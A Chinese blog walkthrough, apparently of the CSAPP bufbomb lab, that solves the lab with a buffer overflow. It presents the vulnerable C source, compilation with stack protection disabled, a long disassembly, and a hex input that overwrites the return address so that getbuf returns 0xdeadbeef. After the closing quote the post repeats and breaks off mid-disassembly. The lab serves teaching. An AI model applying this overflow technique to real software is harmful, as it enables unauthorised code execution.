缓冲区溢出实验(bufbomb)
2013-10-17 21:10
417 查看
1. 获得bufbomb.c
/* code for bufbomb.c */
C语言:
高亮代码由发芽网提供
01
/* Bomb program that is solved using a buffer overflow attack */
02
03 #include <stdio.h>
04 #include <stdlib.h>
05 #include <ctype.h>
06
07 /* Like gets, except that characters are typed as pairs of hex digits.
08 Nondigit characters are ignored. Stops when encounters newline */
09 char
*getxs(char
*dest)
10 {
11
int c;
12
int even =
1;
/* Have read even number of digits */
13
int otherd
= 0;
/* Other hex digit of pair */
14
char *sp =
dest;
15
while ((c =
getchar()) !=
EOF &&
c != '\n')
{
16
if (isxdigit(c))
{
17
int val;
18
if ('0' <=
c &&
c <= '9')
19
val = c
- '0';
20
else if ('A'
<= c
&& c <=
'F')
21
val = c
- 'A'
+ 10;
22
else
23
val = c
- 'a'
+ 10;
24
if (even) {
25 otherd
= val;
26
even = 0;
27
} else
{
28
*sp++ =
otherd *
16 + val;
29
even = 1;
30 }
31
}
32
}
33
*sp++ =
'\0';
34
return dest;
35 }
36
37 /* $begin getbuf-c */
38 int
getbuf()
39 {
40
char buf[12];
41
getxs(buf);
42
return 1;
43 }
44
45 void
test()
46 {
47
int val;
48
int array[1];
49
printf("Local variable at %p\n",
array);
50 printf("Type Hex string:");
51
val = getbuf();
52
printf("getbuf returned 0x%x\n",
val);
53 }
54 /* $end getbuf-c */
55
56 int
main()
57 {
58
59
int buf[16];
60
/* This little hack is an attempt to get the stack to be in a
61 stable position. By experiment, found that position of stack
62 varies by one program execution to the next, but only in the low
63 order 23 bits.
64 */
65
int offset
= (((int)
buf) & 0x7FFFFF);
66
int *space
= (int
*) alloca(offset);
67
*space =
0;
/* So that don't get complaint of unused variable */
68
printf("Added offset 0x%x, should move stack to around %p\n",
69
offset, (char
*) buf
- offset);
70 test();
71
return 0;
72 }
2. 查看gcc版本
gcc --version
自GCC-4.1.0之后,就在编译过程中加入了防溢出的随机数验证的堆栈保护机制(默认启用)。
我的gcc版本是4.4.3,显然默认启用了堆栈保护机制,故编译bufbomb.c时需要关闭堆栈保护机制。
3. 关闭堆栈保护机制进行编译(使用-fno-stack-protector编译选项)。
gcc -o bufbomb bufbomb.c -fno-stack-protector
切记,不要使用优化选项,如-O2等。否则得不到后面的结果。
4. 反汇编bufbomb
objdump -d bufbomb > NP_bufbomb.s
使用NP_bufbomb.s是为了表明No stack Protector, :-)
/* code for NP_bufbomb.s */
GAS语言:
高亮代码由发芽网提供
bufbomb:
file format
elf32-i386
Disassembly of
section .init:
08048328
<_init>:
8048328:
55
push %ebp
8048329:
89
e5 mov
%esp,%ebp
804832b:
53
push %ebx
804832c:
83
ec 04
sub $0x4,%esp
804832f:
e8 00
00 00 00
call 8048334
<_init+0xc>
8048334:
5b
pop %ebx
8048335:
81
c3 c0 1c
00 00
add $0x1cc0,%ebx
804833b:
8b
93 fc ff
ff ff
mov -0x4(%ebx),%edx
8048341:
85
d2 test
%edx,%edx
8048343:
74
05 je
804834a <_init+0x22>
8048345:
e8 2e
00 00
00 call
8048378 <__gmon_start__@plt>
804834a:
e8 01
01 00 00
call 8048450
<frame_dummy>
804834f:
e8 3c
03 00
00 call
8048690 <__do_global_ctors_aux>
8048354:
58
pop %eax
8048355:
5b
pop %ebx
8048356:
c9
leave
8048357:
c3 ret
Disassembly of
section .plt:
08048358
<getchar@plt-0x10>:
8048358:
ff 35
f8 9f
04 08
pushl 0x8049ff8
804835e:
ff 25
fc 9f
04 08
jmp *0x8049ffc
8048364:
00
00 add
%al,(%eax)
...
08048368
<getchar@plt>:
8048368:
ff 25
00 a0 04
08 jmp
*0x804a000
804836e:
68
00 00
00
00 push
$0x0
8048373:
e9 e0
ff ff ff
jmp 8048358
<_init+0x30>
08048378
<__gmon_start__@plt>:
8048378:
ff 25
04 a0 04
08 jmp
*0x804a004
804837e:
68
08 00
00
00 push
$0x8
8048383:
e9 d0
ff ff ff
jmp 8048358
<_init+0x30>
08048388
<__libc_start_main@plt>:
8048388:
ff 25
08 a0 04
08 jmp
*0x804a008
804838e:
68
10 00
00
00 push
$0x10
8048393:
e9 c0
ff ff ff
jmp 8048358
<_init+0x30>
08048398
<__ctype_b_loc@plt>:
8048398:
ff 25
0c a0
04 08
jmp *0x804a00c
804839e:
68
18 00
00
00 push
$0x18
80483a3:
e9 b0
ff ff ff
jmp 8048358
<_init+0x30>
080483a8
<printf@plt>:
80483a8:
ff 25
10 a0 04
08 jmp
*0x804a010
80483ae:
68
20 00
00
00 push
$0x20
80483b3:
e9 a0
ff ff ff
jmp 8048358
<_init+0x30>
Disassembly of
section .text:
080483c0
<_start>:
80483c0:
31
ed xor
%ebp,%ebp
80483c2:
5e
pop %esi
80483c3:
89
e1 mov
%esp,%ecx
80483c5:
83
e4 f0
and $0xfffffff0,%esp
80483c8:
50
push %eax
80483c9:
54
push %esp
80483ca:
52
push %edx
80483cb:
68
20 86
04
08 push
$0x8048620
80483d0:
68
30 86
04
08 push
$0x8048630
80483d5:
51
push %ecx
80483d6:
56
push %esi
80483d7:
68
a0 85 04
08 push
$0x80485a0
80483dc:
e8 a7
ff ff ff
call 8048388
<__libc_start_main@plt>
80483e1:
f4
hlt
80483e2:
90
nop
80483e3:
90
nop
80483e4:
90
nop
80483e5:
90
nop
80483e6:
90
nop
80483e7:
90
nop
80483e8:
90
nop
80483e9:
90
nop
80483ea:
90
nop
80483eb:
90
nop
80483ec:
90
nop
80483ed:
90
nop
80483ee:
90
nop
80483ef:
90
nop
080483f0
<__do_global_dtors_aux>:
80483f0:
55
push %ebp
80483f1:
89
e5 mov
%esp,%ebp
80483f3:
53
push %ebx
80483f4:
83
ec 04
sub $0x4,%esp
80483f7:
80
3d 1c
a0 04
08 00 cmpb
$0x0,0x804a01c
80483fe:
75
3f
jne 804843f
<__do_global_dtors_aux+0x4f>
8048400:
a1 20
a0 04 08
mov 0x804a020,%eax
8048405: bb
18 9f
04 08
mov $0x8049f18,%ebx
804840a:
81
eb 14 9f
04 08
sub $0x8049f14,%ebx
8048410:
c1 fb
02 sar
$0x2,%ebx
8048413:
83
eb 01
sub $0x1,%ebx
8048416:
39
d8 cmp
%ebx,%eax
8048418:
73
1e
jae 8048438
<__do_global_dtors_aux+0x48>
804841a:
8d
b6 00
00 00 00
lea 0x0(%esi),%esi
8048420:
83
c0 01
add $0x1,%eax
8048423:
a3 20
a0 04 08
mov %eax,0x804a020
8048428:
ff 14
85 14 9f
04 08
call *0x8049f14(,%eax,4)
804842f:
a1 20
a0 04 08
mov 0x804a020,%eax
8048434:
39
d8 cmp
%ebx,%eax
8048436:
72
e8 jb
8048420 <__do_global_dtors_aux+0x30>
8048438:
c6 05
1c a0
04 08
01 movb
$0x1,0x804a01c
804843f:
83
c4 04
add $0x4,%esp
8048442:
5b
pop %ebx
8048443:
5d
pop %ebp
8048444:
c3
ret
8048445:
8d 74
26 00
lea 0x0(%esi,%eiz,1),%esi
8048449:
8d
bc 27
00 00 00
00 lea
0x0(%edi,%eiz,1),%edi
08048450
<frame_dummy>:
8048450:
55
push %ebp
8048451:
89
e5 mov
%esp,%ebp
8048453:
83
ec 18
sub $0x18,%esp
8048456:
a1 1c
9f
04 08
mov 0x8049f1c,%eax
804845b:
85
c0 test
%eax,%eax
804845d:
74
12 je
8048471 <frame_dummy+0x21>
804845f:
b8 00
00 00 00
mov $0x0,%eax
8048464:
85
c0 test
%eax,%eax
8048466:
74
09 je
8048471 <frame_dummy+0x21>
8048468:
c7 04
24 1c
9f 04
08 movl
$0x8049f1c,(%esp)
804846f:
ff d0
call *%eax
8048471:
c9
leave
8048472:
c3 ret
8048473:
90 nop
08048474
<getxs>:
8048474:
55
push %ebp
8048475:
89
e5 mov
%esp,%ebp
8048477:
83
ec 28
sub $0x28,%esp
804847a:
c7 45
e8 01 00
00 00
movl $0x1,-0x18(%ebp)
8048481:
c7 45
ec 00 00
00 00
movl $0x0,-0x14(%ebp)
8048488:
8b
45 08
mov 0x8(%ebp),%eax
804848b:
89
45 f0
mov %eax,-0x10(%ebp)
804848e:
e9 89
00 00 00
jmp 804851c
<getxs+0xa8>
8048493:
e8 00
ff ff ff
call 8048398
<__ctype_b_loc@plt>
8048498:
8b
00 mov (%eax),%eax
804849a:
8b
55 e4
mov -0x1c(%ebp),%edx
804849d:
01
d2 add
%edx,%edx
804849f:
01
d0 add
%edx,%eax
80484a1:
0f
b7 00
movzwl (%eax),%eax
80484a4:
0f
b7 c0
movzwl %ax,%eax
80484a7:
25
00 10
00
00 and
$0x1000,%eax
80484ac:
85
c0 test
%eax,%eax
80484ae:
74
6c
je 804851c
<getxs+0xa8>
80484b0:
83
7d e4
2f
cmpl $0x2f,-0x1c(%ebp)
80484b4:
7e
11
jle 80484c7
<getxs+0x53>
80484b6:
83
7d e4
39 cmpl
$0x39,-0x1c(%ebp)
80484ba:
7f
0b
jg 80484c7
<getxs+0x53>
80484bc:
8b
45 e4
mov -0x1c(%ebp),%eax
80484bf:
83
e8 30
sub $0x30,%eax
80484c2:
89
45 f4
mov %eax,-0xc(%ebp)
80484c5:
eb 20
jmp 80484e7
<getxs+0x73>
80484c7:
83
7d e4
40 cmpl
$0x40,-0x1c(%ebp)
80484cb:
7e
11
jle 80484de
<getxs+0x6a>
80484cd:
83
7d e4
46 cmpl
$0x46,-0x1c(%ebp)
80484d1:
7f
0b
jg 80484de
<getxs+0x6a>
80484d3:
8b
45 e4
mov -0x1c(%ebp),%eax
80484d6:
83
e8 37
sub $0x37,%eax
80484d9:
89
45 f4
mov %eax,-0xc(%ebp)
80484dc:
eb 09
jmp 80484e7
<getxs+0x73>
80484de:
8b
45 e4
mov -0x1c(%ebp),%eax
80484e1:
83
e8 57
sub $0x57,%eax
80484e4:
89
45 f4
mov %eax,-0xc(%ebp)
80484e7:
83
7d e8
00 cmpl
$0x0,-0x18(%ebp)
80484eb:
74
0f
je 80484fc
<getxs+0x88>
80484ed:
8b
45 f4
mov -0xc(%ebp),%eax
80484f0:
89
45 ec
mov %eax,-0x14(%ebp)
80484f3:
c7 45
e8 00 00
00 00
movl $0x0,-0x18(%ebp)
80484fa:
eb 20
jmp 804851c
<getxs+0xa8>
80484fc:
8b
45 ec
mov -0x14(%ebp),%eax
80484ff:
89
c2 mov
%eax,%edx
8048501:
c1 e2
04 shl
$0x4,%edx
8048504:
8b
45 f4
mov -0xc(%ebp),%eax
8048507:
8d
04 02
lea (%edx,%eax,1),%eax
804850a:
89
c2 mov
%eax,%edx
804850c:
8b
45 f0
mov -0x10(%ebp),%eax
804850f:
88
10 mov
%dl,(%eax)
8048511:
83
45 f0 01
addl $0x1,-0x10(%ebp)
8048515:
c7 45
e8 01 00
00 00
movl $0x1,-0x18(%ebp)
804851c:
e8 47
fe ff ff
call 8048368
<getchar@plt>
8048521:
89
45 e4
mov %eax,-0x1c(%ebp)
8048524:
83
7d e4
ff cmpl
$0xffffffff,-0x1c(%ebp)
8048528:
74
0a
je 8048534
<getxs+0xc0>
804852a:
83
7d e4
0a
cmpl $0xa,-0x1c(%ebp)
804852e:
0f
85 5f
ff ff
ff jne
8048493 <getxs+0x1f>
8048534:
8b
45 f0
mov -0x10(%ebp),%eax
8048537:
c6 00
00 movb
$0x0,(%eax)
804853a:
83
45 f0 01
addl $0x1,-0x10(%ebp)
804853e:
8b
45 08
mov 0x8(%ebp),%eax
8048541:
c9
leave
8048542:
c3 ret
08048543 <getbuf>:
8048543:
55
push %ebp
8048544:
89
e5 mov
%esp,%ebp
8048546:
83
ec 28
sub $0x28,%esp
8048549:
8d
45 ec
lea -0x14(%ebp),%eax
804854c:
89
04 24
mov %eax,(%esp)
804854f:
e8 20
ff ff ff
call 8048474
<getxs>
8048554:
b8 01
00 00 00
mov $0x1,%eax
8048559:
c9
leave
804855a:
c3
ret
0804855b <test>:
804855b:
55
push %ebp
804855c:
89
e5 mov
%esp,%ebp
804855e:
83
ec 28
sub $0x28,%esp
8048561:
b8 e0
86 04 08
mov $0x80486e0,%eax
8048566:
8d
55 f0
lea -0x10(%ebp),%edx
8048569:
89
54 24
04
mov %edx,0x4(%esp)
804856d:
89
04 24
mov %eax,(%esp)
8048570:
e8 33
fe ff ff
call 80483a8
<printf@plt>
8048575:
b8 f6
86 04 08
mov $0x80486f6,%eax
804857a:
89
04 24
mov %eax,(%esp)
804857d:
e8 26
fe ff ff
call 80483a8
<printf@plt>
8048582:
e8 bc
ff ff ff
call 8048543
<getbuf>
8048587:
89
45 f4
mov %eax,-0xc(%ebp)
804858a:
b8 07
87 04 08
mov $0x8048707,%eax
804858f:
8b
55 f4
mov -0xc(%ebp),%edx
8048592:
89
54 24
04
mov %edx,0x4(%esp)
8048596:
89
04 24
mov %eax,(%esp)
8048599:
e8 0a
fe ff
ff call
80483a8 <printf@plt>
804859e:
c9
leave
804859f:
c3
ret
080485a0 <main>:
80485a0:
8d
4c
24 04
lea 0x4(%esp),%ecx
80485a4:
83
e4 f0
and $0xfffffff0,%esp
80485a7:
ff 71
fc pushl
-0x4(%ecx)
80485aa:
55
push %ebp
80485ab:
89
e5 mov
%esp,%ebp
80485ad:
51
push %ecx
80485ae:
83
ec 64
sub $0x64,%esp
80485b1:
8d
45 b0
lea -0x50(%ebp),%eax
80485b4:
25
ff ff 7f
00 and
$0x7fffff,%eax
80485b9:
89
45 f0
mov %eax,-0x10(%ebp)
80485bc:
8b
45 f0
mov -0x10(%ebp),%eax
80485bf:
83
c0 0f
add $0xf,%eax
80485c2:
83
c0 0f
add $0xf,%eax
80485c5:
c1 e8
04 shr
$0x4,%eax
80485c8:
c1 e0
04 shl
$0x4,%eax
80485cb:
29
c4 sub
%eax,%esp
80485cd:
8d
44 24
0c
lea 0xc(%esp),%eax
80485d1:
83
c0 0f
add $0xf,%eax
80485d4:
c1 e8
04 shr
$0x4,%eax
80485d7:
c1 e0
04 shl
$0x4,%eax
80485da:
89
45 f4
mov %eax,-0xc(%ebp)
80485dd:
8b
45 f4
mov -0xc(%ebp),%eax
80485e0:
c7 00
00 00 00
00 movl
$0x0,(%eax)
80485e6:
8d
45 b0
lea -0x50(%ebp),%eax
80485e9:
8b
55 f0
mov -0x10(%ebp),%edx
80485ec:
f7 da
neg %edx
80485ee:
8d
14 10
lea (%eax,%edx,1),%edx
80485f1:
b8 20
87 04 08
mov $0x8048720,%eax
80485f6:
89
54 24
08
mov %edx,0x8(%esp)
80485fa:
8b
55 f0
mov -0x10(%ebp),%edx
80485fd:
89
54 24
04
mov %edx,0x4(%esp)
8048601:
89
04 24
mov %eax,(%esp)
8048604:
e8 9f
fd ff
ff call
80483a8 <printf@plt>
8048609:
e8 4d
ff ff
ff call
804855b <test>
804860e:
b8 00
00 00 00
mov $0x0,%eax
8048613:
8b
4d fc
mov -0x4(%ebp),%ecx
8048616:
c9
leave
8048617:
8d 61
fc lea
-0x4(%ecx),%esp
804861a:
c3
ret
804861b:
90 nop
804861c:
90
nop
804861d:
90
nop
804861e:
90
nop
804861f:
90
nop
08048620
<__libc_csu_fini>:
8048620:
55
push %ebp
8048621:
89
e5 mov
%esp,%ebp
8048623:
5d
pop %ebp
8048624:
c3
ret
8048625:
8d 74
26 00
lea 0x0(%esi,%eiz,1),%esi
8048629:
8d
bc 27
00 00 00
00 lea
0x0(%edi,%eiz,1),%edi
08048630
<__libc_csu_init>:
8048630:
55
push %ebp
8048631:
89
e5 mov
%esp,%ebp
8048633:
57
push %edi
8048634:
56
push %esi
8048635:
53
push %ebx
8048636:
e8 4f
00 00
00 call
804868a <__i686.get_pc_thunk.bx>
804863b:
81
c3 b9 19
00 00
add $0x19b9,%ebx
8048641:
83
ec 1c
sub $0x1c,%esp
8048644:
e8 df
fc ff ff
call 8048328
<_init>
8048649:
8d bb
18 ff
ff ff
lea -0xe8(%ebx),%edi
804864f:
8d
83 18
ff ff ff
lea -0xe8(%ebx),%eax
8048655:
29
c7 sub
%eax,%edi
8048657:
c1 ff
02 sar
$0x2,%edi
804865a:
85
ff test
%edi,%edi
804865c:
74
24 je
8048682 <__libc_csu_init+0x52>
804865e:
31
f6 xor
%esi,%esi
8048660:
8b
45 10
mov 0x10(%ebp),%eax
8048663:
89
44 24
08
mov %eax,0x8(%esp)
8048667:
8b
45 0c
mov 0xc(%ebp),%eax
804866a:
89
44 24
04
mov %eax,0x4(%esp)
804866e:
8b
45 08
mov 0x8(%ebp),%eax
8048671:
89
04 24
mov %eax,(%esp)
8048674:
ff 94
b3 18 ff
ff ff
call *-0xe8(%ebx,%esi,4)
804867b:
83
c6 01
add $0x1,%esi
804867e:
39
fe cmp
%edi,%esi
8048680:
72
de jb
8048660 <__libc_csu_init+0x30>
8048682:
83
c4 1c
add $0x1c,%esp
8048685:
5b
pop %ebx
8048686:
5e
pop %esi
8048687:
5f
pop %edi
8048688:
5d
pop %ebp
8048689:
c3
ret
0804868a <__i686.get_pc_thunk.bx>:
804868a:
8b
1c 24
mov (%esp),%ebx
804868d:
c3
ret
804868e:
90
nop
804868f:
90
nop
08048690
<__do_global_ctors_aux>:
8048690:
55
push %ebp
8048691:
89
e5 mov
%esp,%ebp
8048693:
53
push %ebx
8048694:
83
ec 04
sub $0x4,%esp
8048697:
a1 0c
9f
04 08
mov 0x8049f0c,%eax
804869c:
83
f8 ff
cmp $0xffffffff,%eax
804869f:
74
13 je
80486b4 <__do_global_ctors_aux+0x24>
80486a1: bb
0c
9f 04
08 mov
$0x8049f0c,%ebx
80486a6:
66
90 xchg
%ax,%ax
80486a8:
83
eb 04
sub $0x4,%ebx
80486ab:
ff d0
call *%eax
80486ad:
8b
03 mov (%ebx),%eax
80486af:
83
f8 ff
cmp $0xffffffff,%eax
80486b2:
75
f4 jne
80486a8 <__do_global_ctors_aux+0x18>
80486b4:
83
c4 04
add $0x4,%esp
80486b7:
5b
pop %ebx
80486b8:
5d
pop %ebp
80486b9:
c3
ret
80486ba:
90
nop
80486bb:
90
nop
Disassembly of
section .fini:
080486bc
<_fini>:
80486bc:
55
push %ebp
80486bd:
89
e5 mov
%esp,%ebp
80486bf:
53
push %ebx
80486c0:
83
ec 04
sub $0x4,%esp
80486c3:
e8 00
00 00 00
call 80486c8
<_fini+0xc>
80486c8:
5b
pop %ebx
80486c9:
81
c3 2c
19 00 00
add $0x192c,%ebx
80486cf:
e8 1c
fd ff
ff call
80483f0 <__do_global_dtors_aux>
80486d4:
59
pop %ecx
80486d5:
5b
pop %ebx
80486d6:
c9
leave
80486d7:
c3
ret
5. 由于我们的任务是,只简单地对提示符输入一个适当的十六进制字符串,就使getbuf对test返回-559038737(0xdeadbeef)。
所以我们输入的串只要覆盖到val所在的内存单元的位置即可。
1. 通过分析NP_bufbomb.s得到各个过程的栈帧布局,getbuf的返回地址,test中call printf的地址和"getbuf returned 0x%x\n"的地址。
2. 通过使用gdb调试bufbomb得到数组buf的起始地址(注意不是buf的地址!)和test的栈帧地址。
注: 函数参数的地址可根据调用函数前的入栈情况获得(汇编调用C标准库函数都是通过栈来传递参数的);
栈帧的地址可通过在调试程序时的相应位置使用print /x $ebp获得。
执行getxs时内存中各个过程的栈帧布局
(仅仅画出了关键的test,getbuf以及getxs的栈帧布局,以及一些必要的单元里的内容):
/* there is a picture of stack frame */
6. 分析完毕得到输入串,运行bufbomb,并输入数据:
01 02 03 04 05 06 07 08 09 10 11 12 01 02 03 04 05 06 07 08 c8 ff 7f bf 99 85 04 08 07 87 04 08 ef be ad de
运行结果:
有图由真相
/* there is a picture of result */
关于输入数据的解释:
前12个(01 02 03 04 05 06 07 08 09 10 11 12)存到buf[0]~buf[11]中。这里的数组buf是getbuf中的,而不是main中的!
接着的8个(01 02 03 04 05 06 07 08)存到编译器为数组buf多开辟的8个字节中(一般情况下,编译器总是开辟比需要的多一点的空间)。
接下来的c8 ff 7f bf,是test的栈帧指针(0xbf7fffc8)。
然后的99 85 04 08,是新的getbuf的返回地址也是test中最后一个call printf的地址(0x08048599)。其实只要跳过对val的赋值过程即可,这个值不唯一,也可以是0x0804858a。(这个地址跳过了程序用getbuf的返回值0x1修改栈中val所在内存里的值,从而使printf的参数栈中val的内容是我们所输入的0xdeadbeef,当然存储"getbuf returned 0x%x\n"地址的内存单元还是用原值覆盖)
最后的ef be ad de,是我们要得到的输出值(0xdeadbeef)。
!!!一些强调:
自GCC-4.1.0之后,就在编译过程中加入了防溢出的随机数验证机制,在%gs:0x14 中保存一个随机数,用此进行比对,验证溢出与否。同时GCC-4.1.0之后还加入了与溢出有关的几个编译选项,以此控制是否添加溢出验证:
-fstack-protector:启用堆栈保护,不过只为局部变量中含有 char 数组的函数插入保护代码。
-fstack-protector-all:启用堆栈保护,为所有函数插入保护代码。
-fno-stack-protector:禁用堆栈保护。
输入值必须为两个数字或字母(十六进制允许范围内)一组。(注意源程序中even number,偶数的意思)
注意1:注意输入值与其所在内存中的对应关系(我们输入的值是从低到高进入内存的,按字节(由char buf[12]和getxs决定))!,根据getxs可知,输入的值都会被作为十六进制,如bf被作为0xbf
注意2:前20个输入,只要是两个一组即可。(也就是前20个输入只要符合getxs函数的要求即可!)
切记切记,该实验是非常依赖机器和编译选项的!
自己实验时,最要注意的是关闭堆栈保护机制(不关闭堆栈保护机制,在gdb中得到结果,不算本事,我几分钟就可以搞定!)。
还有就是一定要使用"objdump -d bufbomb > bufbomb.s"得到bufbomb的反汇编代码。
通过分析bufbomb.s得到栈帧的布局,以及一些必要的地址数据(getbuf的返回地址(需要修改以跳过将getbuf的返回值放到堆栈的指令)和"getbuf returned 0x%x\n"的地址)。再者就是要通过gdb获得数组buf的起始地址(注意不是buf的地址!)和test的栈帧地址。
思维扩展:
1. 关于gcc堆栈保护机制,以及%gs:0x14内容的随机性和不可访问性!
2. 关于对关闭和启用gcc堆栈保护机制对生成代码的影响。
3. 如何找出程序中潜在的缓冲区溢出漏洞(现实中往往得不到源程序)。
4. 如何利用程序中的缓冲区溢出漏洞,做一些高级攻击,如植入恶意代码等。
5. 如何防止程序中出现缓冲区溢出漏洞。
最后引用CSAPP里的原话:“我们不能原谅任何用这种或其他任何方法来获得对系统的未被授权的访问。未经许可闯入计算机系统与闯入一幢建筑是一样的——犯罪行为,即使犯罪者并没有恶意。”
/* code for bufbomb.c */
C语言:
高亮代码由发芽网提供
01
/* Bomb program that is solved using a buffer overflow attack */
02
03 #include <stdio.h>
04 #include <stdlib.h>
05 #include <ctype.h>
06
07 /* Like gets, except that characters are typed as pairs of hex digits.
08 Nondigit characters are ignored. Stops when encounters newline */
09 char
*getxs(char
*dest)
10 {
11
int c;
12
int even =
1;
/* Have read even number of digits */
13
int otherd
= 0;
/* Other hex digit of pair */
14
char *sp =
dest;
15
while ((c =
getchar()) !=
EOF &&
c != '\n')
{
16
if (isxdigit(c))
{
17
int val;
18
if ('0' <=
c &&
c <= '9')
19
val = c
- '0';
20
else if ('A'
<= c
&& c <=
'F')
21
val = c
- 'A'
+ 10;
22
else
23
val = c
- 'a'
+ 10;
24
if (even) {
25 otherd
= val;
26
even = 0;
27
} else
{
28
*sp++ =
otherd *
16 + val;
29
even = 1;
30 }
31
}
32
}
33
*sp++ =
'\0';
34
return dest;
35 }
36
37 /* $begin getbuf-c */
38 int
getbuf()
39 {
40
char buf[12];
41
getxs(buf);
42
return 1;
43 }
44
45 void
test()
46 {
47
int val;
48
int array[1];
49
printf("Local variable at %p\n",
array);
50 printf("Type Hex string:");
51
val = getbuf();
52
printf("getbuf returned 0x%x\n",
val);
53 }
54 /* $end getbuf-c */
55
56 int
main()
57 {
58
59
int buf[16];
60
/* This little hack is an attempt to get the stack to be in a
61 stable position. By experiment, found that position of stack
62 varies by one program execution to the next, but only in the low
63 order 23 bits.
64 */
65
int offset
= (((int)
buf) & 0x7FFFFF);
66
int *space
= (int
*) alloca(offset);
67
*space =
0;
/* So that don't get complaint of unused variable */
68
printf("Added offset 0x%x, should move stack to around %p\n",
69
offset, (char
*) buf
- offset);
70 test();
71
return 0;
72 }
2. 查看gcc版本
gcc --version
自GCC-4.1.0之后,就在编译过程中加入了防溢出的随机数验证的堆栈保护机制(默认启用)。
我的gcc版本是4.4.3,显然默认启用了堆栈保护机制,故编译bufbomb.c时需要关闭堆栈保护机制。
3. 关闭堆栈保护机制进行编译(使用-fno-stack-protector编译选项)。
gcc -o bufbomb bufbomb.c -fno-stack-protector
切记,不要使用优化选项,如-O2等。否则得不到后面的结果。
4. 反汇编bufbomb
objdump -d bufbomb > NP_bufbomb.s
使用NP_bufbomb.s是为了表明No stack Protector, :-)
/* code for NP_bufbomb.s */
GAS语言:
高亮代码由发芽网提供
bufbomb:
file format
elf32-i386
Disassembly of
section .init:
08048328
<_init>:
8048328:
55
push %ebp
8048329:
89
e5 mov
%esp,%ebp
804832b:
53
push %ebx
804832c:
83
ec 04
sub $0x4,%esp
804832f:
e8 00
00 00 00
call 8048334
<_init+0xc>
8048334:
5b
pop %ebx
8048335:
81
c3 c0 1c
00 00
add $0x1cc0,%ebx
804833b:
8b
93 fc ff
ff ff
mov -0x4(%ebx),%edx
8048341:
85
d2 test
%edx,%edx
8048343:
74
05 je
804834a <_init+0x22>
8048345:
e8 2e
00 00
00 call
8048378 <__gmon_start__@plt>
804834a:
e8 01
01 00 00
call 8048450
<frame_dummy>
804834f:
e8 3c
03 00
00 call
8048690 <__do_global_ctors_aux>
8048354:
58
pop %eax
8048355:
5b
pop %ebx
8048356:
c9
leave
8048357:
c3 ret
Disassembly of
section .plt:
08048358
<getchar@plt-0x10>:
8048358:
ff 35
f8 9f
04 08
pushl 0x8049ff8
804835e:
ff 25
fc 9f
04 08
jmp *0x8049ffc
8048364:
00
00 add
%al,(%eax)
...
08048368
<getchar@plt>:
8048368:
ff 25
00 a0 04
08 jmp
*0x804a000
804836e:
68
00 00
00
00 push
$0x0
8048373:
e9 e0
ff ff ff
jmp 8048358
<_init+0x30>
08048378
<__gmon_start__@plt>:
8048378:
ff 25
04 a0 04
08 jmp
*0x804a004
804837e:
68
08 00
00
00 push
$0x8
8048383:
e9 d0
ff ff ff
jmp 8048358
<_init+0x30>
08048388
<__libc_start_main@plt>:
8048388:
ff 25
08 a0 04
08 jmp
*0x804a008
804838e:
68
10 00
00
00 push
$0x10
8048393:
e9 c0
ff ff ff
jmp 8048358
<_init+0x30>
08048398
<__ctype_b_loc@plt>:
8048398:
ff 25
0c a0
04 08
jmp *0x804a00c
804839e:
68
18 00
00
00 push
$0x18
80483a3:
e9 b0
ff ff ff
jmp 8048358
<_init+0x30>
080483a8
<printf@plt>:
80483a8:
ff 25
10 a0 04
08 jmp
*0x804a010
80483ae:
68
20 00
00
00 push
$0x20
80483b3:
e9 a0
ff ff ff
jmp 8048358
<_init+0x30>
Disassembly of
section .text:
080483c0
<_start>:
80483c0:
31
ed xor
%ebp,%ebp
80483c2:
5e
pop %esi
80483c3:
89
e1 mov
%esp,%ecx
80483c5:
83
e4 f0
and $0xfffffff0,%esp
80483c8:
50
push %eax
80483c9:
54
push %esp
80483ca:
52
push %edx
80483cb:
68
20 86
04
08 push
$0x8048620
80483d0:
68
30 86
04
08 push
$0x8048630
80483d5:
51
push %ecx
80483d6:
56
push %esi
80483d7:
68
a0 85 04
08 push
$0x80485a0
80483dc:
e8 a7
ff ff ff
call 8048388
<__libc_start_main@plt>
80483e1:
f4
hlt
80483e2:
90
nop
80483e3:
90
nop
80483e4:
90
nop
80483e5:
90
nop
80483e6:
90
nop
80483e7:
90
nop
80483e8:
90
nop
80483e9:
90
nop
80483ea:
90
nop
80483eb:
90
nop
80483ec:
90
nop
80483ed:
90
nop
80483ee:
90
nop
80483ef:
90
nop
080483f0
<__do_global_dtors_aux>:
80483f0:
55
push %ebp
80483f1:
89
e5 mov
%esp,%ebp
80483f3:
53
push %ebx
80483f4:
83
ec 04
sub $0x4,%esp
80483f7:
80
3d 1c
a0 04
08 00 cmpb
$0x0,0x804a01c
80483fe:
75
3f
jne 804843f
<__do_global_dtors_aux+0x4f>
8048400:
a1 20
a0 04 08
mov 0x804a020,%eax
8048405: bb
18 9f
04 08
mov $0x8049f18,%ebx
804840a:
81
eb 14 9f
04 08
sub $0x8049f14,%ebx
8048410:
c1 fb
02 sar
$0x2,%ebx
8048413:
83
eb 01
sub $0x1,%ebx
8048416:
39
d8 cmp
%ebx,%eax
8048418:
73
1e
jae 8048438
<__do_global_dtors_aux+0x48>
804841a:
8d
b6 00
00 00 00
lea 0x0(%esi),%esi
8048420:
83
c0 01
add $0x1,%eax
8048423:
a3 20
a0 04 08
mov %eax,0x804a020
8048428:
ff 14
85 14 9f
04 08
call *0x8049f14(,%eax,4)
804842f:
a1 20
a0 04 08
mov 0x804a020,%eax
8048434:
39
d8 cmp
%ebx,%eax
8048436:
72
e8 jb
8048420 <__do_global_dtors_aux+0x30>
8048438:
c6 05
1c a0
04 08
01 movb
$0x1,0x804a01c
804843f:
83
c4 04
add $0x4,%esp
8048442:
5b
pop %ebx
8048443:
5d
pop %ebp
8048444:
c3
ret
8048445:
8d 74
26 00
lea 0x0(%esi,%eiz,1),%esi
8048449:
8d
bc 27
00 00 00
00 lea
0x0(%edi,%eiz,1),%edi
08048450
<frame_dummy>:
8048450:
55
push %ebp
8048451:
89
e5 mov
%esp,%ebp
8048453:
83
ec 18
sub $0x18,%esp
8048456:
a1 1c
9f
04 08
mov 0x8049f1c,%eax
804845b:
85
c0 test
%eax,%eax
804845d:
74
12 je
8048471 <frame_dummy+0x21>
804845f:
b8 00
00 00 00
mov $0x0,%eax
8048464:
85
c0 test
%eax,%eax
8048466:
74
09 je
8048471 <frame_dummy+0x21>
8048468:
c7 04
24 1c
9f 04
08 movl
$0x8049f1c,(%esp)
804846f:
ff d0
call *%eax
8048471:
c9
leave
8048472:
c3 ret
8048473:
90 nop
08048474
<getxs>:
8048474:
55
push %ebp
8048475:
89
e5 mov
